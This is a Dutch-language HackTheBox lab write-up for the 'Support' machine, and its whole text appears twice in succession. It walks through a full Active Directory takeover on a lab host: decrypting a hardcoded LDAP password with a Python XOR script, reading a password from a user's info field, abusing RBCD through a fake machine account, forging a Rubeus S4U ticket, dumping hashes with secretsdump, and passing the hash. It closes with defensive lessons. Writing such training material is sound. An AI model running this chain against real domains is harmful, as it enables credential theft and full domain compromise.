Support
30 April 2026 30 april 2026
HackTheBox — Support (Easy) Writeup
In deze write-up lopen we stap voor stap door de Support machine van HackTheBox. We beginnen helemaal bij het begin: van het scannen van de machine tot het verkrijgen van administrator-toegang. Elk commando wordt uitgelegd zodat je begrijpt waarom je het uitvoert, niet alleen wat je uitvoert.
---
Benodigde tools
Zorg dat je de volgende tools hebt voor je begint:
| Tool | Waarvoor | Installatie |
|------|----------|-------------|
| nmap | Poorten scannen | sudo apt install nmap |
| smbclient | SMB shares benaderen | sudo apt install smbclient |
| ILSpy | .NET binaries decompileren | Zie stap 2 |
| ldapsearch | LDAP queries uitvoeren | sudo apt install ldap-utils |
| evil-winrm | Windows shell via WinRM | sudo gem install evil-winrm |
| PowerView.ps1 | AD enumeration in PowerShell | Zie stap 7 |
| Powermad.ps1 | Machine accounts aanmaken | Zie stap 9 |
| Rubeus.exe | Kerberos ticket manipulatie | Zie stap 10 |
| impacket | Kerberos tickets op Linux | pip install impacket |
---
Stap 1 — Verkenning: Wat draait er op de machine?
Als eerste willen we weten welke poorten en services er open staan. Dit doen we met nmap.
nmap -sC -sV -oN support.nmap 10.129.43.78
Uitleg van de flags:
-sC— voer standaard scripts uit (extra info over services)-sV— detecteer versienummers van services-oN support.nmap— sla de output op in een bestand
Relevante open poorten:
| Poort | Service | Wat betekent dit? |
|-------|---------|-------------------|
| 139/445 | SMB | Gedeelde bestanden/mappen |
| 389 | LDAP | Active Directory query service |
| 5985 | WinRM | Windows Remote Management — hiermee krijgen we later een shell |
De meest interessante poorten zijn SMB (445) en WinRM (5985).
---
Stap 2 — SMB Enumeration: Zijn er gedeelde mappen?
SMB (Server Message Block) is een protocol waarmee Windows bestanden en mappen deelt over een netwerk. Soms zijn deze mappen publiek toegankelijk zonder wachtwoord.
We bekijken welke shares er beschikbaar zijn:
smbclient -L //10.129.43.78 -N
Uitleg:
-L— toon een lijst van alle shares-N— probeer zonder wachtwoord (null session)
We zien een share genaamd
support-tools. Verbinding maken:
smbclient //10.129.43.78/support-tools -N
In de SMB shell:
smb: > ls
UserInfo.exe.zip
Download het bestand:
smb: > get UserInfo.exe.zip
smb: > exit
Uitpakken:
unzip UserInfo.exe.zip
---
Stap 3 — ILSpy installeren op Linux
UserInfo.exe is een .NET applicatie. .NET applicaties kunnen volledig worden terugvertaald naar leesbare broncode met ILSpy. Dit is iets wat veel developers niet weten: compiled .NET code is niet echt "verborgen".
Download ILSpy:
cd ~/Downloads
wget https://github.com/icsharpcode/ILSpy/releases/latest/download/ILSpy-linux-x64-Release.zip
unzip ILSpy-linux-x64-Release.zip -d ILSpy
cd ILSpy && ./ILSpy
UserInfo.exe decompileren in ILSpy:
1. Klik op File → Open en selecteer UserInfo.exe
2. Navigeer in de boomstructuur links naar: UserInfo → UserInfo.Services → Protected
Je ziet nu de broncode van de Protected class:
private static string enc_password = "<ENC_PASSWORD_BASE64>";
private static byte[] key = Encoding.ASCII.GetBytes("armando");
public static string getPassword()
{
byte[] array = Convert.FromBase64String(enc_password);
for (int i = 0; i < array.Length; i++)
{
array[i] = (byte)((uint)(array[i] ^ key[i % key.Length]) ^ 0xDFu);
}
return Encoding.Default.GetString(array);
}
Er is een versleuteld wachtwoord dat via XOR wordt ontsleuteld. In de LdapQuery class zien we hoe het gebruikt wordt:
entry = new DirectoryEntry("LDAP://support.htb", "support\ldap", password);
De applicatie verbindt met LDAP als gebruiker ldap met dit wachtwoord.
---
Stap 4 — Wachtwoord ontsleutelen met Python
We schrijven een Python script dat dezelfde XOR-bewerking uitvoert als de C# code:
import base64
enc_password = "<ENC_PASSWORD_BASE64>"
key = b"armando"
array = base64.b64decode(enc_password)
result = []
for i in range(len(array)):
result.append((array[i] ^ key[i % len(key)]) ^ 0xDF)
print(bytes(result).decode())
Output: <LDAP_PASSWORD>
Sla op als decrypt.py en voer uit:
python3 decrypt.py
Veelgemaakte fout: Het wachtwoord bevat $ tekens. Als je dit typt in een bash commando met dubbele quotes ("..."), interpreteert bash de $ als een variabele en vervangt die door een lege string. Gebruik altijd enkele quotes ('...') voor wachtwoorden met speciale tekens.
We hebben nu:
- Gebruiker:
ldap@support.htb - Wachtwoord:
<LDAP_PASSWORD>
---
Stap 5 — LDAP Enumeration: Meer informatie ophalen
LDAP (Lightweight Directory Access Protocol) is de taal waarmee je informatie uit Active Directory opvraagt. Met de gevonden credentials kunnen we nu alle gebruikers en hun eigenschappen opvragen.
ldapsearch -x -H ldap://10.129.43.78 -D "ldap@support.htb" -w '<LDAP_PASSWORD>' -b "DC=support,DC=htb" "(sAMAccountName=support)"
Uitleg:
-x— gebruik eenvoudige authenticatie-H ldap://...— het adres van de LDAP server-D— de gebruiker waarmee je inlogt-w— het wachtwoord (let op de enkele quotes!)-b "DC=support,DC=htb"— zoek in het hele domein"(sAMAccountName=support)"— filter op de gebruikersupport
In de output vinden we:
info: <SUPPORT_PASSWORD>
Iemand heeft het wachtwoord van de support gebruiker opgeslagen in het info-veld van het AD-account. Dit veld is leesbaar voor elke authenticated LDAP gebruiker — een ernstige beveiligingsfout.
We hebben nu:
- Gebruiker:
support - Wachtwoord:
<SUPPORT_PASSWORD>
---
Stap 6 — Eerste toegang via WinRM
WinRM (Windows Remote Management) laat je een PowerShell shell openen op een Windows machine. De tool evil-winrm maakt dit eenvoudig vanuit Linux.
Installeren als je het nog niet hebt:
sudo gem install evil-winrm
Verbinding maken:
evil-winrm -i 10.129.43.78 -u support -p '<SUPPORT_PASSWORD>'
Je hebt nu een PowerShell shell. Haal de user flag op:
type C:\Users\support\Desktop\user.txt
---
Stap 7 — Post-exploitation: Wie ben ik en wat kan ik?
Nadat je toegang hebt, is de eerste vraag altijd: wie ben ik en welke rechten heb ik?
whoami /all
Twee belangrijke dingen in de output:
Groepslidmaatschap:
SUPPORT\Shared Support Accounts
Privilege:
SeMachineAccountPrivilege Add workstations to domain Enabled
SeMachineAccountPrivilege betekent dat we computer-accounts mogen aanmaken in het domein. Dit klinkt onschuldig, maar in combinatie met wat we straks ontdekken is het gevaarlijk.
---
Stap 8 — PowerView: AD rechten bekijken
PowerView is een PowerShell script voor Active Directory enumeration.
Download op je Kali machine:
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
Upload via evil-winrm:
upload /pad/naar/PowerView.ps1
Laden in PowerShell:
. .\PowerView.ps1
> De punt (.) met een spatie ervoor betekent "importeer alle functies uit dit script in de huidige sessie". Zonder de punt zijn de functies na het uitvoeren niet beschikbaar.
Verifieer dat het werkt:
Get-NetUser support
Bekijk de ACL's van de Domain Controller:
Get-DomainObjectAcl -Identity "DC$" -ResolveGUIDs | Where-Object {$_.SecurityIdentifier -match "1103"}
> We filteren op 1103 — het laatste deel van de SID van Shared Support Accounts. ACL (Access Control List) bepaalt wat een object mag doen met een ander object.
De output toont:
ActiveDirectoryRights : GenericAll
GenericAll is het hoogste privilege over een AD-object: volledige controle. Onze groep heeft dit over de Domain Controller zelf.
---
Stap 9 — Powermad: Fake machine account aanmaken
RBCD (Resource-Based Constrained Delegation) laat een computer-account inloggen als een andere gebruiker bij een specifieke service. Normaal is dit voor legitieme scenario's, maar met GenericAll over de DC kunnen we dit misbruiken.
Aanvalsstappen:
1. Maak een computer-account aan dat jij controleert
2. Vertel de DC: vertrouw dit account om anderen te impersonaten
3. Vraag een Kerberos ticket aan als Administrator
4. Gebruik dat ticket om toegang te krijgen
Download Powermad op je Kali machine:
wget https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1
Upload en laden:
upload /pad/naar/Powermad.ps1
. .\Powermad.ps1
Nieuw machine account aanmaken:
New-MachineAccount -MachineAccount "FakeComputer" -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
SID ophalen:
Get-NetComputer FakeComputer | Select-Object -ExpandProperty objectsid
Noteer de SID — je hebt hem nodig in de volgende stap.
RBCD instellen op de DC (voer elke regel apart in):
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;JOUW-SID-HIER)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
> Voer elke regel apart in — als je ze samenplakt gaat PowerShell in de fout.
---
Stap 10 — Rubeus: Kerberos ticket aanvragen
Download Rubeus (pre-compiled binary):
wget https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Rubeus.exe
Upload:
upload /pad/naar/Rubeus.exe
NTLM hash berekenen van het wachtwoord van FakeComputer:
Rubeus heeft de NTLM hash nodig, niet het wachtwoord zelf. Bereken dit op je Kali machine:
python3 -c "import hashlib,binascii; print(binascii.hexlify(hashlib.new('md4','Password123!'.encode('utf-16le')).digest()).decode())"
Output: <FAKECOMPUTER_NTLM_HASH>
Ticket genereren:
.\Rubeus.exe s4u /user:FakeComputer$ /rc4:<FAKECOMPUTER_NTLM_HASH> /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /nowrap
Kopieer de laatste base64-string uit de output (het langste blok onderaan, voor cifs/dc.support.htb).
---
Stap 11 — Ticket gebruiken met Impacket
Belangrijk: Evil-WinRM sessies kunnen Kerberos tickets die via Rubeus zijn geïmporteerd niet gebruiken voor SMB. We gebruiken het ticket op onze eigen Kali machine met impacket.
Base64 decoderen naar binair bestand:
echo "JOUW_BASE64_HIER" > /tmp/ticket.b64
base64 -d /tmp/ticket.b64 > /tmp/ticket.kirbi
Converteren van Windows-formaat (.kirbi) naar Linux-formaat (.ccache):
impacket-ticketConverter /tmp/ticket.kirbi /tmp/admin.ccache
Ticket activeren:
export KRB5CCNAME=/tmp/admin.ccache
Administrator hashes dumpen:
impacket-secretsdump -k -no-pass dc.support.htb
Output:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<ADMIN_NTLM_HASH>:::
Het deel na de derde dubbele punt (bb06cbc02b39...) is de NTLM hash van de Administrator.
---
Stap 12 — Root shell via Pass-the-Hash
Pass-the-Hash is een techniek waarbij je een NTLM hash gebruikt om in te loggen zonder het wachtwoord te kennen. Windows authenticatie accepteert de hash direct.
evil-winrm -i 10.129.43.78 -u Administrator -H <ADMIN_NTLM_HASH>
Root flag ophalen:
type C:\Users\Administrator\Desktop\root.txt
---
Overzicht van de aanvalsketen
SMB share (anoniem toegankelijk)
→ UserInfo.exe.zip downloaden
→ ILSpy decompilatie van .NET binary
→ XOR-encrypted LDAP wachtwoord gevonden
→ LDAP query als ldap user
→ Wachtwoord gevonden in info-veld van support user
→ evil-winrm shell als support (user.txt)
→ whoami /all: SeMachineAccountPrivilege + Shared Support Accounts
→ PowerView: GenericAll van die groep over de DC
→ Powermad: FakeComputer machine account aanmaken
→ RBCD instellen op de DC via msds-allowedtoactonbehalfofotheridentity
→ Rubeus: S4U Kerberos ticket als Administrator
→ impacket-ticketConverter + secretsdump: Admin NTLM hash
→ evil-winrm Pass-the-Hash: Administrator shell (root.txt)
---
Lessons Learned
1. .NET code is niet 'compiled' in de traditionele zin — ILSpy decomplileert het volledig terug naar leesbare C# code. Sla nooit credentials op in een .NET applicatie, ook niet versleuteld.
2. AD info-veld is publiek leesbaar — Elk veld in een AD gebruikersprofiel is leesbaar voor alle authenticated gebruikers in het domein. Gebruik het nooit voor wachtwoorden.
3. GenericAll over een computer-object = domain compromise — Beperk altijd welke groepen volledige rechten hebben over computer-objecten, zeker over Domain Controllers.
4. SeMachineAccountPrivilege is gevaarlijker dan het lijkt — Gecombineerd met GenericAll over een computer is dit genoeg voor een volledige domain takeover via RBCD.
5. $ tekens in wachtwoorden — Gebruik altijd enkele quotes in bash als een wachtwoord speciale tekens bevat.
6. Evil-WinRM en Kerberos tickets — Tickets die via Rubeus /ptt worden geïmporteerd in een WinRM-sessie werken niet voor SMB. Gebruik impacket op je eigen machine.
7. Machine accounts kunnen verdwijnen — HTB reset machines periodiek, waardoor aangemaakt accounts verdwijnen. Maak bij een nieuwe sessie een nieuw account aan.
HackTheBox — Support (Easy) Writeup
In deze write-up lopen we stap voor stap door de Support machine van HackTheBox. We beginnen helemaal bij het begin: van het scannen van de machine tot het verkrijgen van administrator-toegang. Elk commando wordt uitgelegd zodat je begrijpt waarom je het uitvoert, niet alleen wat je uitvoert.
---
Benodigde tools
Zorg dat je de volgende tools hebt voor je begint:
| Tool | Waarvoor | Installatie |
|------|----------|-------------|
| nmap | Poorten scannen | sudo apt install nmap |
| smbclient | SMB shares benaderen | sudo apt install smbclient |
| ILSpy | .NET binaries decompileren | Zie stap 2 |
| ldapsearch | LDAP queries uitvoeren | sudo apt install ldap-utils |
| evil-winrm | Windows shell via WinRM | sudo gem install evil-winrm |
| PowerView.ps1 | AD enumeration in PowerShell | Zie stap 7 |
| Powermad.ps1 | Machine accounts aanmaken | Zie stap 9 |
| Rubeus.exe | Kerberos ticket manipulatie | Zie stap 10 |
| impacket | Kerberos tickets op Linux | pip install impacket |
---
Stap 1 — Verkenning: Wat draait er op de machine?
Als eerste willen we weten welke poorten en services er open staan. Dit doen we met nmap.
nmap -sC -sV -oN support.nmap 10.129.43.78
Uitleg van de flags:
-sC— voer standaard scripts uit (extra info over services)-sV— detecteer versienummers van services-oN support.nmap— sla de output op in een bestand
Relevante open poorten:
| Poort | Service | Wat betekent dit? |
|-------|---------|-------------------|
| 139/445 | SMB | Gedeelde bestanden/mappen |
| 389 | LDAP | Active Directory query service |
| 5985 | WinRM | Windows Remote Management — hiermee krijgen we later een shell |
De meest interessante poorten zijn SMB (445) en WinRM (5985).
---
Stap 2 — SMB Enumeration: Zijn er gedeelde mappen?
SMB (Server Message Block) is een protocol waarmee Windows bestanden en mappen deelt over een netwerk. Soms zijn deze mappen publiek toegankelijk zonder wachtwoord.
We bekijken welke shares er beschikbaar zijn:
smbclient -L //10.129.43.78 -N
Uitleg:
-L— toon een lijst van alle shares-N— probeer zonder wachtwoord (null session)
We zien een share genaamd
support-tools. Verbinding maken:
smbclient //10.129.43.78/support-tools -N
In de SMB shell:
smb: > ls
UserInfo.exe.zip
Download het bestand:
smb: > get UserInfo.exe.zip
smb: > exit
Uitpakken:
unzip UserInfo.exe.zip
---
Stap 3 — ILSpy installeren op Linux
UserInfo.exe is een .NET applicatie. .NET applicaties kunnen volledig worden terugvertaald naar leesbare broncode met ILSpy. Dit is iets wat veel developers niet weten: compiled .NET code is niet echt "verborgen".
Download ILSpy:
cd ~/Downloads
wget https://github.com/icsharpcode/ILSpy/releases/latest/download/ILSpy-linux-x64-Release.zip
unzip ILSpy-linux-x64-Release.zip -d ILSpy
cd ILSpy && ./ILSpy
UserInfo.exe decompileren in ILSpy:
1. Klik op File → Open en selecteer UserInfo.exe
2. Navigeer in de boomstructuur links naar: UserInfo → UserInfo.Services → Protected
Je ziet nu de broncode van de Protected class:
private static string enc_password = "<ENC_PASSWORD_BASE64>";
private static byte[] key = Encoding.ASCII.GetBytes("armando");
public static string getPassword()
{
byte[] array = Convert.FromBase64String(enc_password);
for (int i = 0; i < array.Length; i++)
{
array[i] = (byte)((uint)(array[i] ^ key[i % key.Length]) ^ 0xDFu);
}
return Encoding.Default.GetString(array);
}
Er is een versleuteld wachtwoord dat via XOR wordt ontsleuteld. In de LdapQuery class zien we hoe het gebruikt wordt:
entry = new DirectoryEntry("LDAP://support.htb", "support\ldap", password);
De applicatie verbindt met LDAP als gebruiker ldap met dit wachtwoord.
---
Stap 4 — Wachtwoord ontsleutelen met Python
We schrijven een Python script dat dezelfde XOR-bewerking uitvoert als de C# code:
import base64
enc_password = "<ENC_PASSWORD_BASE64>"
key = b"armando"
array = base64.b64decode(enc_password)
result = []
for i in range(len(array)):
result.append((array[i] ^ key[i % len(key)]) ^ 0xDF)
print(bytes(result).decode())
Output: <LDAP_PASSWORD>
Sla op als decrypt.py en voer uit:
python3 decrypt.py
Veelgemaakte fout: Het wachtwoord bevat $ tekens. Als je dit typt in een bash commando met dubbele quotes ("..."), interpreteert bash de $ als een variabele en vervangt die door een lege string. Gebruik altijd enkele quotes ('...') voor wachtwoorden met speciale tekens.
We hebben nu:
- Gebruiker:
ldap@support.htb - Wachtwoord:
<LDAP_PASSWORD>
---
Stap 5 — LDAP Enumeration: Meer informatie ophalen
LDAP (Lightweight Directory Access Protocol) is de taal waarmee je informatie uit Active Directory opvraagt. Met de gevonden credentials kunnen we nu alle gebruikers en hun eigenschappen opvragen.
ldapsearch -x -H ldap://10.129.43.78 -D "ldap@support.htb" -w '<LDAP_PASSWORD>' -b "DC=support,DC=htb" "(sAMAccountName=support)"
Uitleg:
-x— gebruik eenvoudige authenticatie-H ldap://...— het adres van de LDAP server-D— de gebruiker waarmee je inlogt-w— het wachtwoord (let op de enkele quotes!)-b "DC=support,DC=htb"— zoek in het hele domein"(sAMAccountName=support)"— filter op de gebruikersupport
In de output vinden we:
info: <SUPPORT_PASSWORD>
Iemand heeft het wachtwoord van de support gebruiker opgeslagen in het info-veld van het AD-account. Dit veld is leesbaar voor elke authenticated LDAP gebruiker — een ernstige beveiligingsfout.
We hebben nu:
- Gebruiker:
support - Wachtwoord:
<SUPPORT_PASSWORD>
---
Stap 6 — Eerste toegang via WinRM
WinRM (Windows Remote Management) laat je een PowerShell shell openen op een Windows machine. De tool evil-winrm maakt dit eenvoudig vanuit Linux.
Installeren als je het nog niet hebt:
sudo gem install evil-winrm
Verbinding maken:
evil-winrm -i 10.129.43.78 -u support -p '<SUPPORT_PASSWORD>'
Je hebt nu een PowerShell shell. Haal de user flag op:
type C:\Users\support\Desktop\user.txt
---
Stap 7 — Post-exploitation: Wie ben ik en wat kan ik?
Nadat je toegang hebt, is de eerste vraag altijd: wie ben ik en welke rechten heb ik?
whoami /all
Twee belangrijke dingen in de output:
Groepslidmaatschap:
SUPPORT\Shared Support Accounts
Privilege:
SeMachineAccountPrivilege Add workstations to domain Enabled
SeMachineAccountPrivilege betekent dat we computer-accounts mogen aanmaken in het domein. Dit klinkt onschuldig, maar in combinatie met wat we straks ontdekken is het gevaarlijk.
---
Stap 8 — PowerView: AD rechten bekijken
PowerView is een PowerShell script voor Active Directory enumeration.
Download op je Kali machine:
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
Upload via evil-winrm:
upload /pad/naar/PowerView.ps1
Laden in PowerShell:
. .\PowerView.ps1
> De punt (.) met een spatie ervoor betekent "importeer alle functies uit dit script in de huidige sessie". Zonder de punt zijn de functies na het uitvoeren niet beschikbaar.
Verifieer dat het werkt:
Get-NetUser support
Bekijk de ACL's van de Domain Controller:
Get-DomainObjectAcl -Identity "DC$" -ResolveGUIDs | Where-Object {$_.SecurityIdentifier -match "1103"}
> We filteren op 1103 — het laatste deel van de SID van Shared Support Accounts. ACL (Access Control List) bepaalt wat een object mag doen met een ander object.
De output toont:
ActiveDirectoryRights : GenericAll
GenericAll is het hoogste privilege over een AD-object: volledige controle. Onze groep heeft dit over de Domain Controller zelf.
---
Stap 9 — Powermad: Fake machine account aanmaken
RBCD (Resource-Based Constrained Delegation) laat een computer-account inloggen als een andere gebruiker bij een specifieke service. Normaal is dit voor legitieme scenario's, maar met GenericAll over de DC kunnen we dit misbruiken.
Aanvalsstappen:
1. Maak een computer-account aan dat jij controleert
2. Vertel de DC: vertrouw dit account om anderen te impersonaten
3. Vraag een Kerberos ticket aan als Administrator
4. Gebruik dat ticket om toegang te krijgen
Download Powermad op je Kali machine:
wget https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1
Upload en laden:
upload /pad/naar/Powermad.ps1
. .\Powermad.ps1
Nieuw machine account aanmaken:
New-MachineAccount -MachineAccount "FakeComputer" -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
SID ophalen:
Get-NetComputer FakeComputer | Select-Object -ExpandProperty objectsid
Noteer de SID — je hebt hem nodig in de volgende stap.
RBCD instellen op de DC (voer elke regel apart in):
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;JOUW-SID-HIER)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
> Voer elke regel apart in — als je ze samenplakt gaat PowerShell in de fout.
---
Stap 10 — Rubeus: Kerberos ticket aanvragen
Download Rubeus (pre-compiled binary):
wget https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Rubeus.exe
Upload:
upload /pad/naar/Rubeus.exe
NTLM hash berekenen van het wachtwoord van FakeComputer:
Rubeus heeft de NTLM hash nodig, niet het wachtwoord zelf. Bereken dit op je Kali machine:
python3 -c "import hashlib,binascii; print(binascii.hexlify(hashlib.new('md4','Password123!'.encode('utf-16le')).digest()).decode())"
Output: <FAKECOMPUTER_NTLM_HASH>
Ticket genereren:
.\Rubeus.exe s4u /user:FakeComputer$ /rc4:<FAKECOMPUTER_NTLM_HASH> /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /nowrap
Kopieer de laatste base64-string uit de output (het langste blok onderaan, voor cifs/dc.support.htb).
---
Stap 11 — Ticket gebruiken met Impacket
Belangrijk: Evil-WinRM sessies kunnen Kerberos tickets die via Rubeus zijn geïmporteerd niet gebruiken voor SMB. We gebruiken het ticket op onze eigen Kali machine met impacket.
Base64 decoderen naar binair bestand:
echo "JOUW_BASE64_HIER" > /tmp/ticket.b64
base64 -d /tmp/ticket.b64 > /tmp/ticket.kirbi
Converteren van Windows-formaat (.kirbi) naar Linux-formaat (.ccache):
impacket-ticketConverter /tmp/ticket.kirbi /tmp/admin.ccache
Ticket activeren:
export KRB5CCNAME=/tmp/admin.ccache
Administrator hashes dumpen:
impacket-secretsdump -k -no-pass dc.support.htb
Output:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<ADMIN_NTLM_HASH>:::
Het deel na de derde dubbele punt (bb06cbc02b39...) is de NTLM hash van de Administrator.
---
Stap 12 — Root shell via Pass-the-Hash
Pass-the-Hash is een techniek waarbij je een NTLM hash gebruikt om in te loggen zonder het wachtwoord te kennen. Windows authenticatie accepteert de hash direct.
evil-winrm -i 10.129.43.78 -u Administrator -H <ADMIN_NTLM_HASH>
Root flag ophalen:
type C:\Users\Administrator\Desktop\root.txt
---
Overzicht van de aanvalsketen
SMB share (anoniem toegankelijk)
→ UserInfo.exe.zip downloaden
→ ILSpy decompilatie van .NET binary
→ XOR-encrypted LDAP wachtwoord gevonden
→ LDAP query als ldap user
→ Wachtwoord gevonden in info-veld van support user
→ evil-winrm shell als support (user.txt)
→ whoami /all: SeMachineAccountPrivilege + Shared Support Accounts
→ PowerView: GenericAll van die groep over de DC
→ Powermad: FakeComputer machine account aanmaken
→ RBCD instellen op de DC via msds-allowedtoactonbehalfofotheridentity
→ Rubeus: S4U Kerberos ticket als Administrator
→ impacket-ticketConverter + secretsdump: Admin NTLM hash
→ evil-winrm Pass-the-Hash: Administrator shell (root.txt)
---
Lessons Learned
1. .NET code is niet 'compiled' in de traditionele zin — ILSpy decomplileert het volledig terug naar leesbare C# code. Sla nooit credentials op in een .NET applicatie, ook niet versleuteld.
2. AD info-veld is publiek leesbaar — Elk veld in een AD gebruikersprofiel is leesbaar voor alle authenticated gebruikers in het domein. Gebruik het nooit voor wachtwoorden.
3. GenericAll over een computer-object = domain compromise — Beperk altijd welke groepen volledige rechten hebben over computer-objecten, zeker over Domain Controllers.
4. SeMachineAccountPrivilege is gevaarlijker dan het lijkt — Gecombineerd met GenericAll over een computer is dit genoeg voor een volledige domain takeover via RBCD.
5. $ tekens in wachtwoorden — Gebruik altijd enkele quotes in bash als een wachtwoord speciale tekens bevat.
6. Evil-WinRM en Kerberos tickets — Tickets die via Rubeus /ptt worden geïmporteerd in een WinRM-sessie werken niet voor SMB. Gebruik impacket op je eigen machine.
7. Machine accounts kunnen verdwijnen — HTB reset machines periodiek, waardoor aangemaakt accounts verdwijnen. Maak bij een nieuwe sessie een nieuw account aan.